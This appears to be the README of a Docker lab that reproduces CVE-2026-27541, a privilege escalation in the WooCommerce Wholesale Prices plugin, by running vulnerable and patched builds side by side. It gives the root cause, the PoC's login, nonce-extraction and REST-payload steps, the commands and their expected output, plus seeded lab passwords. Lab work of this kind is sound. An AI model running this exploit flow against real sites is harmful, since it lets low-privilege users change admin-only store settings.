
Docker lab for reproducing CVE-2026-27541, an authenticated privilege escalation in WooCommerce Wholesale Prices. Compares vulnerable and patched builds, includes PoC script and root cause analysis.

This project is a local Docker lab for analyzing and reproducing the behavior of CVE-2026-27541 in the WooCommerce Wholesale Prices / Wholesale Suite plugin by comparing vulnerable and patched builds side-by-side on the same machine.
The core issue is Broken Access Control in the following REST API endpoint:
/wp-json/wwp/v1/admin/save
Based on the source code used in this lab, that route already has a permission_callback in both the vulnerable and patched builds. However, the affected version uses a capability check that is too broad for an admin settings write action:
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )In this lab, the user shopmgr, which has the shop_manager role, has manage_woocommerce=true but not manage_options. As a result, this low-privilege user can use a valid logged-in session plus a valid X-WP-Nonce to invoke the admin settings save endpoint on the vulnerable build, while the patched build returns 403 rest_forbidden for the same request.
2.2.6): the user shopmgr can successfully call POST /wp-json/wwp/v1/admin/save and modify plugin settings.2.2.7): the same request from shopmgr is rejected with 403.403, which is consistent with this being a post-authentication privilege escalation issue.wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, while the patched build still returns See wholesale prices.vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → separate MariaDB databasesseed-vuln / seed-patched → wp-cli seed jobs that install WordPress, install the plugin, create users, and create a product for testinghttp://localhost:8081 → vulnerablehttp://localhost:8082 → patchedwordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — defines the vulnerable and patched stacks with separate databasesscripts/seed-wp.sh — installs WordPress, WooCommerce, the target plugin, and creates test users and product datapoc.py — least-harm PoC for login, nonce extraction, and REST endpoint invocationOnce the stack is ready, the seed script creates the following:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce: 10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7The script also writes lab-secrets.json into each WordPress container so the seeded data and version information can be verified.
This PoC does not attempt to take over the site, change roles, install plugins, or execute a shell.
It only does the following:
shopmgrwpApiSettings.noncewwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
This setting is used as an observable marker to demonstrate that a low-privilege user can modify admin-only configuration.
POST /wp-json/wwp/v1/admin/saveAlthough the endpoint requires a valid session and nonce, the vulnerable version still allows a low-privilege user such as shopmgr with the shop_manager role to invoke an endpoint that should be admin-only.
This is not an unauthenticated vulnerability.
If the endpoint is called directly without a logged-in session, both the vulnerable and patched builds reject the request. The bug exists in authorization after authentication, not in authentication itself.
The vulnerable version is not missing a permission_callback. The flaw is that it uses a capability check that is too broad (manage_woocommerce) for a REST action that writes admin-side settings.
From the source code in includes/class-wwp-admin-settings.php:
POST /wp-json/wwp/v1/admin/savesave_registered_settings()permission_admin_check() as the permission_callback2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
In this lab, the user shopmgr, which has the shop_manager role, has manage_woocommerce=true but not manage_options, so it passes the vulnerable check but fails the patched one.
The patched version does more than change the response from 200 to 403. It changes the access-control logic by tightening the capability requirement from manage_woocommerce to manage_options.
In addition, the save path in the patched build is further hardened by moving away from prefix-based filtering toward explicit allowlists and stronger sanitization.
The PoC follows the same flow as a real browser context:
shopmgrwpApiSettings.noncePOST /wp-json/wwp/v1/admin/saveBecause the vulnerable build allows users with manage_woocommerce to invoke this settings write action, the request succeeds and results in a persistent option change.
A nonce helps protect against CSRF, but it is not an authorization control.
Having a valid session and a valid nonce does not mean a user should be allowed to perform an admin action. Using an overly broad capability on a privileged endpoint is enough to create a low-privilege authorization bypass.
docker compose up -d --build
docker compose ps
You should see at least:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py works as follows:
GET /wp-login.php
POST /wp-login.php to establish an authenticated session
open the plugin admin page:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
extract wpApiSettings.nonce and the REST root from the HTML/JavaScript
send a request to:
/wp-json/wwp/v1/admin/save
submit the payload:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)Expected output:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)Expected output:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
After the PoC succeeds on the vulnerable node:
PWNED_BY_POC
The practical impact of this bug class is that a low-privilege user can modify configuration that should be admin-only, which can directly lead to:
This lab intentionally uses a safe and observable payload in order to avoid role changes or any escalation beyond what is needed to prove the vulnerability condition.
docker compose down -v
localhost onlyThis lab shows that CVE-2026-27541 is an authenticated low-privilege authorization bypass in the plugin’s REST API settings endpoint. The flaw in version 2.2.6 is not the absence of a permission check, but the use of an overly broad capability (manage_woocommerce) for an action that should be restricted at the manage_options level.
In this local environment:
shopmgr passes the vulnerable check and can successfully modify admin-side settings through POST /wp-json/wwp/v1/admin/save2.2.7PWNED_BY_POC in the target option, while the patched build does notAs a result, this repository serves as both behavioral proof and code-backed proof of the vulnerable vs. patched difference in a fully controlled local environment.